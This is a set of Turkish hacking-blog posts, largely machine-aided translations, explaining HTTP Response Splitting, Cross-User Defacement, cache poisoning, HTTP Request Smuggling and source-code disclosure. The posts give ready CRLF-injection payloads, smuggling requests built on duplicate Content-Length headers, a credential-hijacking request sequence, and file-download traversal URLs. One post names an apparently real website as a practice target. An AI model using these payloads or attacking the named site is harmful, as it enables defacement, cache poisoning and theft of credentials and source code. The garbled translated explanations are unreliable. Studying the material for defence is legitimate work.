İnternetim

Ne zamandır internetim yoktu kafayı yicektim yahu az daha kendime geldim ha..

Reklamlar

XSRF-CSRF Anlatım (videolu)

S.aleyküm arkadaşlar bu sefer sizlere zamanında XSRF’yi anlatmak için çektiğim videoyu yayınlıyorum buyrun bakalım ;

http://www.4shared.com/file/206512957/b2a5974d/XSRF.html

Cross-User Defacement

Bir saldırgan savunmasız bir sunucuya tek bir istek yapabilir ve sunucuda 2 cevap vermek için kesilir,ikinci bir farklı
isteğe yanıt olarak yanlış yorumlanabilir ve böylece başka bir kullanıcının yaptığı paylaşım TCP bağlantısı ile kesilebilir.
Saldırgan yapcağı atağı kullanıcıyı ikna ederek onlara yaptırabilir,saldırgan ve kullanıcı sunucudan ortak bir TCP bağlantısını veya paylaşılan ortak bir proxy sunucusunu kullanarak..
İyi durumda , saldırgan ikna etmek için uygulamaları keserek onları ikna etmesi dahada güçlenir.
Kötü durumda , uygulamanın içeriği gibi özel olarak hazırlanmış ve tasarlanmış özel bilgileri yönlendiren , hesap numaraları ve şifreler gibi saldırgana geri dönen şeyler hazırlanabilir..

Bu saldırıyı gerçek bir ortamda yürütmek çok zor.Saldırgan için koşullar listesi uzun ve serttir.
HTTP Response Splitting atağı için ve web uygulamalarındaki açıkları kullanmak için Cross-User Defacement atağı mümkündür.

Örnek ;

Hedef bir site var.Hizmet adından aldığı “page” argümanı var vede bu (302) servise yönlendiriliyor.

örnek site: http://site.com/exmple.php?page=http://diger.site.com/

exmple.php dosyasının içeriği ;

<?php
header (“Location: ” . $_GET[’page’]);
?>

Ve uygun hile isteği yani kandırma isteği yani yanıltma isteği ;

/exmple.php?page=http://other.site.com%0d%0aContent-
Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-
Type:%20text/html%0d%0aContent-
Length:%2019%0d%0a%0d%0a<html>deface</html>

HTTP sunucusu aşağıdaki gibi 2 cevap verecektir 1 cevap değil ;

1)
#######################################################################
#HTTP/1.1 302 Moved Temporarily
#Date: Wed, 24 Dec 2003 15:26:41 GMT
#Location: http://site.com/exmple.php?page=http://diger.site.com/
#Content-Length: 0
#######################################################################

2)
#######################################################################
# HTTP/1.1 200 OK
# Content-Type: text/html
# Content-Length: 19
# <html>deface</html>
#######################################################################

Eğer kullanıcı TCP bağlantılarını paylaşıyorsa istek gönderebilir:
/index.html gibi..

burada sunucu kendi talebine cevap olarak göndericektir.Mümkün web sayfasını değiştirmek için kullanıcıya sunulan yol budur.

Kısaca özet ;

Arkadaşlar burada kısaca kendi yapacağımız işi başka kullanıcıya yaptırıp web sayfasını değiştirmektir.

Çevirmede baya bir zıtlık oldu kusuruma bakmayınız affola bu kadar oldu ancak…

HTTP Response Splitting

HTTP Response Splitting ne zaman meydana gelir? ;
1)Sık HTTP istekleri ile veri güvenilmeyen bir kaynaktan bir web uygulamasına girer.
2)Veri HTTP başlıklarına kullanıcı tarafından doğrulama olmadan zararlı karakterler ile dahil edilir.

HTTP response splitting sonu olmayan bir son anlamına gelir.Bu kökde saldırı basittir;
Savunmasız uygulamaya kötü niyetli bir veri geçer ve uygulama veriyi HTTP başlıklarına dahil eder.

Başarılı bir exploit çıkarmak için , uygulama giriş izni vermelidir CR ve LF karakterleri eklemek için..
Bu karakterler sadece saldırganların cevap göndermek niyetinde kullanılmaktadır.Ama aynı zamanda tamamen kendi kontrolü altında
ek yanıtlar sağlamasına olanak sağlar.

Örnek :
Aşağıdaki kod bölümü bir HTTP isteği bir web günlüğü girişi , yazar , yazarının adını okur ve HTTP yanıtı bir çerez(cookie) başlığında belirir.

String author = request.getParameter(YAZAR_PARAM);

Cookie cookie = new Cookie(“yazar”, yazar);
cookie.setMaxAge(cookieExpiration);
response.addCookie(cookie);

Standart alfanumerik karakterlerden oluştuğunu varsayarsak “Jane Smith” gibi istek gönderildiğinde HTTP yanıtı dahil bu tanımlama aşağıdaki formu alabilir:

HTTP/1.1 200 OK

Set-Cookie: author=Jane Smith

Çerez değeri oluşur çünkü kullanıcı girişi tanımlı.Bu formu eğer değeri için gönderilen koruması için YAZAR_PARAM , CR ve LF karakter içermez.
Saldırgan zararlı bir dize gönderdiğinde ise “X Hacker\\r\\nHTTP/1.1 200 OK\\r\\n…” sonra HTTP yanıtı aşağıdaki gibi 2’ye bölünecektir.

HTTP/1.1 200 OK

Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK

Açıkca,ikinci yanıt tamamen saldırgan tarafından kontrol edilir ve her hangi bir gövde ve başlık içeriği ile ilgili istenilen yapılabilir.
Saldırgan keyfi iktidar oluşturmak için HTTP yanıtları saldırılar sonucu çeşitli izinler verebilir ;
Cross-User Defacement, Cache Poisoning,Cross-site Scripting (XSS) ve Page Hijacking gibi..

Cache Poisoning (Önbellek Zehirlenmesi)

Kötü niyetli tepki etkisi büyütülebilir.Birden fazla kullanıcı, hatta tek bir kullanıcının tarayıcı önbelleği ile web sayfasının önbelleğe almasıyla…
Eğer yanıt paylaşılan bir web önbelleğindeyse,bu sık rastlanılan proxy sunucuları o önbellek tüm kullanıcların ön bellek girdisi kadar tüm zararlı içerikleride
tutmaya devam edicektir.Yanıtlar tek bir kullanıcının tarayıcısının ön belleğine alınmış olsa , o kullanıcı zararlı içerik kadar temizlemek önbellek tasfiyesini alıcak,
kullanıcıya rağmen yerel tarayıcı etkilenecektir.

Bu şekilde başarılı bir saldırı gerçekleştirmek için saldırgan ;

1)Savunmasız servis kodunu bularak , HTTP başlıkları doldurulacak.

2)Önbellek içeriğini önbellek sunucularına gömmek isteyecek.

3)Özel olarak hazırlanmış bir istek , önbellekte saklanıcak.

4)Gönderilcek sonraki istekler , Önceden önbellek sunucularına gömülen isteklere yanıt olacaktır.

Bu saldırıyı gerçek bir ortamda yürütmek çok zordur.Saldırganın bunu başarması için yapacağı işlemler bayağı uzun ve zahmetlidir.
Fakat Cross-User Defacement tekniğine göre daha kolaydır.

Önbellek Zehirleme saldırısı web uygulama açıklarında HTTP Response Splitting için mümkündür.Bu önemli görüş saldırgan açısından uygulamanın
birden fazla başlık alanını doldurması için olanak sağlar.Carrige Return ve Line Feed karakterler gibi..

Örnek :

Hedef bir site var.Hizmet adından aldığı “page” argümanı var vede bu (302) servise yönlendiriliyor.

örnek site: http://site.com/ornek.php?page=http://diger.site.com/

ornek.php dosyasının içeriği ;

<?php
header (“Location: ” . $_GET[’page’]);
?>

Uygun isteği hazırlama: [1]

1]Önbellekten Sayfa Çıkarma ;

GET http://site.com/index.html HTTP/1.1
Pragma: no-cache
Host: site.com
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: tr
Accept-Charset: iso-8859-1,*,utf-8

HTTP başlıkları “Pragma: no-cache” veya “Cache-Control: no-cache” ise önbellekten sayfa kaldırılır.

2]Tek isteğe iki yanıt oluşturmak için önbellek sunucusuna HTTP Response Splitting kullanıcaz.

GET http://site.com/redir.php?site=Content-
Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aLast-
Modified:%20Mon,%2027%20Oct%202009%2014:50:18%20GMT%0d%0aConte
nt-Length:%2020%0d%0aContent-
Type:%20text/html%0d%0a%0d%0a<html>deface!</html> HTTP/1.1
Host: site.com
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: tr
Accept-Charset: iso-8859-1,*,utf-8

Biz burada bilerek gelecek zaman ayarı verdik.İkinci yanıt , HTTP başlıklarında “Last-Modified(Önceki Ayar)” önbellekte yanıt saklamak içindir.

Aşağıdaki başlıkları ayarlıyarak şu etkileri alabiliriz ;

1)Önceki Ayar   ( If-Modified-Since Başlığı tarafından kontrol)

2)ETag          ( If-None-Match Başlığı tarafından kontrol)

3]Sunucunun önbelleğinde değiştirmek istediğimiz sayfa için istek gönderme ;

GET http://site.com/index.html HTTP/1.1
Host: site.com
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: tr
Accept-Charset: iso-8859-1,*,utf-8

Teoride,önbellek sunucunda önbellek sunucusu isteği için üçüncü istek için ikinci cevap uymalıdır.Bizde bu şekilde önbellek içeriğini değiştirdik.

İstekleri bir bağlantıda gerçekleştirme sırasında önbellek sunucusu kullanılmak üzere daha gelişmiş bir yöntem gerektirmez belki hemen birbiri ardından.
Kullanımı oldukça sorunlu görünebilir bu atak önbellek zehirlemesi için evrensel tekniktir.Önbellek sunucusu nedeniyle farklı bağlantı modeli
ve istek işleme uygulamasıdır..
Farklı problem URL uzunluğu , bu bazen imkansız kılmak için tepki yapar , bir sonraki sayfa için uyumlu olacaktır zehirli sayfa..

HTTP Request Smuggling

Not: Kıt ingilizcem ve Google Translate yardımıyla çeviri serüvenim :)

HTTP Request Smuggling saldırısı gönderilen veriler tarafından yapılan tamamlanmamış bir ayrıştırma aracı olarak HTTP sistemini bir vekil olarak çalıştırıyor.
HTTP Request Smuggling farklı bir şekilde proxy sistemi tarafından çözümlenir olacak ve son sistem tarafından özel olarak biçimlendirilmiş
bir HTTP isteği göndererek oluşur.Saldırganın bir sistem için istek kaçırması böylece diğer sistem tarafından fark edilmeyecek.
Diğer saldırılardan yararlanmak için bu saldırıda mümkün , Cache Poisoning, Session Hijacking, Cross-site Scripting (XSS) gibi ve en önemlisi,
Web Application Firewall korumasını bypass etmekde iyidir.

HTTP Request Smuggling yararlanmak için bazı özel şartların olması gerekmektedir.Özel proxy sisteminin varlığı gibi ,
SunOne Proxy 3.6 (SP4) gibi veya FW-1/FP4-R55W beta veya web sunucusunun XSS açığı gibi..

Temelde saldırı aynı mantıkda ikinci bir HTTP isteği diğer bir HTTP isteğini kapatır , aşağıdaki gibi gösterebiliriz.

GET /some_page.jsp?param1=value1¶m2=
Content-Type: application/x-www-form-
Content-Length: 0
Foobar: GET /mypage.jsp HTTP/1.0
Cookie: my_id=1234567
Authorization: Basic ugwerwguwygruwy

Bu durumda ilk HTTP başlığı proxy sistemi ve ikinci ise son sistem tarafından çözümlenir.O proxy erişim kontrölü saldırganın izini kapatır.
Bildirilen saldırı farklı şekillerde istismar edilebilir.Bu saldırıyı gerçekleştirmek için ;

Web Cache Poisoning
• Firewall/IPS/IDS evasion
• Forward vs. backward HRS
• Request Hijacking
• Request Credential Hijacking

Örnekler;

Örnek 1 – Önbellek Zehirlenmesi Exploiting ;
İlk örneğimiz klasik HRS saldırısını gösteriyor.Bir POST isteği var sayalım çakışan değerleri ile iki “Content-Length” başlıklarını içermektedir.
Bazı sunucular (Örn:IIS ve Apache) böyle bir isteği rededer.Ama başkalarının tercihi sorunluğu başlığı yok saymakla yetinmek oluyor.
Hangi iki başlıktan birisi sorunludur acaba?Neyseki saldırgan farklı sunucu ve farklı cevaplar seçiyor..
Örnek : SunONE W/S 6.1 (SP1) ilk olarak “Content-Lenght” başlığını kullanır iken SunONE Proxy 3.6 (SP4) ikinci başlığı alır.(Not:Dikkat ettiyseniz ikiside SunONE ailesinden)
Site ve DNS adı , SunONE W/S ve SunONE Proxy arkasında..
“/poison.html” şeklinde statik bir sayfa düşünelim önbellek edilebilen W/S’de.Buradaki HRS saldırısı iki sunucu arasında tutarsızlık olduğunu görürüz:

1 POST http://site.com/foobar.html HTTP/1.1
2 Host: site.com
3 Connection: Keep-Alive
4 Content-Type: application/x-www-form-urlencoded
5 Content-Length: 0
6 Content-Length: 44
7 [CRLF]

8 GET /poison.html HTTP/1.1
9 Host: site.com
10 Bla: [“Bla:” dan sonra CRLF yoktur.]

11 GET http://site.com/page_to_poison.html HTTP/1.1
12 Host: site.com
13 Connection: Keep-Alive
14 [CRLF]

Burada satır 10 hariç diğer bütün sorgular sona erer çünkü buralarda CRLF yoktur.

Hadi bu sorgu W/S proxy server üzerinden gittimi ne olur inceleyelim..
İlk olarak , proxy hatları 1-7 deki post isteğini ayrıştırır(mavi yerleri) ve “Content-Length” başlıklarını karşılaştırır.
Daha öncede belirttiğimiz gibi,ilk başlığı görmezden karar verir bu nedenle 44 byte uzunluğunda bir talep öngörülür.
Bu nedenle , ilk istek gövdesini 8-10 arası verilerde yapar(yeşil yerler , Tam olarak 44 byte içeren yerler).Proxy o zaman çizgileri ayırır(Kırmızı yerleri ayırıyo yani).
Buda 2. istek olarak nitelendirilir.Şimdi bakın nasılda aynı yükü yorumlar , bir kez o vekil tarafından iletildiği için..
Proxy aksine W/S ilk “Content-Lenght”başlığı:olduğu gibi kalırsa , ilk post isteğinin hiç bir gövdeye sahip olmadığını , ve ikinci isteği doğrultusunda 8. satırın GET olduğunu..
(Bu çizgiler 11.satır olarak GET çözümlenir W/S değeri olarak “Bla:”değeri atanır.)

1st request        2nd request
SunONE Proxy          lines 1-10      lines 11-14
SunONE W/S            lines 1-7        lines 8-14

Sonra , hangi yanıtlar istemciye geri gönderilir bir bakalım;
İstekleri W/S görür “POST /foobar.html” ve “GET /poison.html” sırasıyla geri “foobar.html” ve “posion.html” sayfa içeriğiyle iki cevap gönderir.
Proxy o istemci tarafından gönderildiğini düşündüğü iki kişi bu yanıtları karşılar “POST /foobar.html” ve “GET /page_to_poison.html”.
Önbellek sayfası güçlü olduğundan (biz “poison.html” in önbellek sayfasını güçlü farzediyoruz.) Vekiller içinde “poison.html” ve URL altında “page_to_poison.html” zehirlenmiş olur..!
Her hangi bir alıcı “page_to_posion.html” sayfasına “poison.html” sayfasından proxy alıcaktı.Teknik Not:1-10 ve 11-14 deki satırların iki ayrı pakette gönderdiğini , SunONE Proxy den aynı paket istekleri olmadığına dikkat.

Örnek-2 Request Credential Hijacking;
Diğer bir ilgi alanı saldırganın zorla müşterinin kimlik bilgilerini zararlı bir betik kod ile çağırması.Bu saldırı tipi XSRF-CSRF saldırı tipiyle yürürlükte benzemektedir.
Saldırgan hedef ile etkileşim içinde değildir.Çünkü çok güçlüdür zaten..

Atak adımları:

POST /some_script.jsp HTTP/1.0
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
Content-Length: 142
this=thatGET /some_page.jsp?param1=value1¶m2=value2 HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Foobar:

İstemci bir istek gönderir gibi:

GET /mypage.jsp HTTP/1.0
Cookie: my_id=1234567
Authorization: Basic ugwerwguwygruwy

Erkek kedi eksik talebe burada yapışacaktır.;


GET /some_page.jsp?param1=value1|m2=value2 HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Foobar: GET /mypage.jsp HTTP/1.0
Cookie: my_id=1234567
Authorization: Basic ugwerwguwygruwy

Şimdi tam bir istek tamamlandı, “/some_page.jsp” scriptinin açılmasına neden olur ve sonuçlarını alıcı geri alır.
Bu script bir parola değiştirme isteği ise veya saldırganın hesabına para aktarma isteği ise bu hedef için potansiyel bir ciddi hasar anlamına gelmektedir.

Source Code Disclosure Over HTTP

Not:Kendi ingilizcem ile ve google translate yardımıyla çevirdim biraz kötü ama bende anısı var :)

Geçenlerde bir yerde gördüm Source Code Disclosure u ve araştırdım çok güzel ve çok hoşuma gitti.
Bende bi yerden döküman buldum tabi ingilizceydi dilim döndüğünce çevirmeye çalıştım ,
içinde biraz ingilizce kıtlığım var ve gogul translate ile bu kadar oldu hatamız varsa affola..

Source Code Disclosure over HTTP

Özet ;

Bu yöntem web masterların korkulu rüyasıdır ve hackerlarında rüyasıdır.
Bu yazıda web uygulamalarında yaygın olan kodlama kusurları araştırılıyor.
Yani hackerlar HTTP üzerinden kaynak kodu ve yapılandırma dosyalarını ayıklamak için kullanıyorlar.

Giriş ;

Uzman dinamik sayfaları bir çok web siteleri aracılığıla kullanıcılara download dosyaları sunuyor.
Bu indirme sayfaları güvensiz kodlu ise , saldırgan için yararlanılabilir hatta yapılandırma dosyaları (config vs.) vb.
gibi dosyalar indirilebilir.

E tabi haliyle koca internet bu haliyle böyle internet sayfalarıda mevcuttur.Ama bu teknik pekde fazla değildir.
Fakat sizler bu saldırıyı görmezden gelemezsiniz ve sizleride bu tür saldırılara karşı güvensizsiniz sanıyorum.
Tabi burada acemi webmasterlar ve kötü web siteleri için iyi olmayan bir durum söz konusu o da yapılandırma dosyası (config vs.) gibi dosyalar çekilebilir.

Senaryo ;

Bir web sitesi düşünelim php ile kodlanmış (www.hedef.com) ve web sitedeki kullanıcılara non-HTML dosyalarını indirmek için sunmak istiyor.
Bu sunduğu dosyada öyle bir dosyaki çok popüler ve kullanıcıda bu dosyaların direkt olarak URL’leri ile sunuyor.
Bunun yerine dosyaları indirmek için dinamik bir sayfa ile sunulmaktadır.Bu dinamik sayfanında ismi ’download_file.php’ ve
adresi http://www.hedef.com/download_file.php

Bizim bu savunmasız hedef sitemizde dosyalar , dökümanlar vs. kök dizinde yani ana dizinde saklanır.
Bir kullanıcı , sitede olan bir dosyayı indirecek bir ’Dosya indirebilirsiniz’ paremetresi’download_file.php’ sayfasına geçerek indirecek.
Örneğin bir kullanıcı indirmek istediği ’indirilecekdosya.doc’ dosyasının yolu http://www.hedef.com/download_index.html

Daha sonra kullanıcı bu dosyayı indirmek için tıkladığında dosya URL gönderme şu şekilde olacaktır ;
http://www.hedef.com/download_filename.php?filename=indirilecekdosya.doc

Bu istenen dosyanın indirilmesine başlanması için başka bir sayfaya yönlenmesinin nedenleri :
Belirli bir uygulamaya dayanmasıdır.

Direkt olarak dosya yolundan indirebilirdinizde aşağıdaki gibi ;

Ama burada ’download_filename.php” güvenlik için referans bir adrestir.
Oradan gönderen veriyi http://www.hedef.com/download_filname.php adresine teslim edecektir.
Fakat hiç bir veri göndermezsek böyle olucaktır.

Güvenlik nedeniyle php dosyası burada sadece html bölümünü verecektir.Çünkü güvenlik açısından php ile kodlanmış dosya arka planda çalışmaktadır.
Adres çubuğunda belirli dosyalar buradaki linki yani ’download?filename.php’ yi açığa vurur yani .doc .zip .rar gibi dosyalar..

Exploit bölümü ;

Bu ’download_filename.php’ dosyasının kaynağını göremesekde olduğunu gördük ve doğrudan erişilebilir bir durumda hemde , php sayfaları kullanıcılar için tasarlanmıştır.
Bizde bu ulaşılabilir sunucudan dosya indirebiliriz.
Evet saldırgan bu durumda kök dizinden yani ana dizinden her hangi bir dosya indirmek için kullanabilir.

Saldırgan burada kısaca dosya yolunu sağlamaktadır.Yani URLsi şöyle olacaktır : http://www.site.com/download_filename.php?filename=download_filename.php
Bize buradaki php kaynak kodu dosyası yani download_filename.php sayfasını indirmek için sunulmuştur.
Birde login.php dosyamızın olduğunu varsayalım ve bu dosyayı indirelim. ;

http://www.site.com/download_filename.php?filename=user_login.php

Dosyamızı indirdik ve açalım bakalım.

Evet.! Saldırgan database yolunu öğrendi şimdi ise saldırgan database dosyasını indirmek isteyecektir.Bu seferde URL şu şekilde olacaktır.
http://www.site.com/download_file.php?filename=include/dbconnect.php

Ve geriye bir şey kalmadı şimdi her şey saldırganın database den verileri almasına kalmıştır.

Etkisi ;

Bu saldırı daha tehlikeli kılan hiç bir iz bırakmaması burada tamamen sayfanın işlevselliğini kullanarak atak yapmıştır.Hiç bir olağan üstü bir şey yok :)

Çalışma için örnek ;

http://www.poligenius.com/download_file.php?Filename=

Not:Bu açığı iyice araştırmak için LFD yada Local File Disclosure diye araştırara bulabilirsiniz.

Videosunu indirmek için ;

http://www.4shared.com/file/qwIe0mvj/SCD.html

Biz CW’yi öyle bir sevdikki :)

Kendi çalışmam bir yerden esinlendim lakin resim her şeyi anlatıyor :)

SQL Injection Bypass Teknikleri Hakkında

S.aleyküm arkadaşlar bir süre sonra müsait bir zaman sizlere buradan sırayla SQL Injection (MySQL) Bypass tekniklerini vereceğim işe yarıyorlar bazen sizlerde öğrenmiş olursunuz :)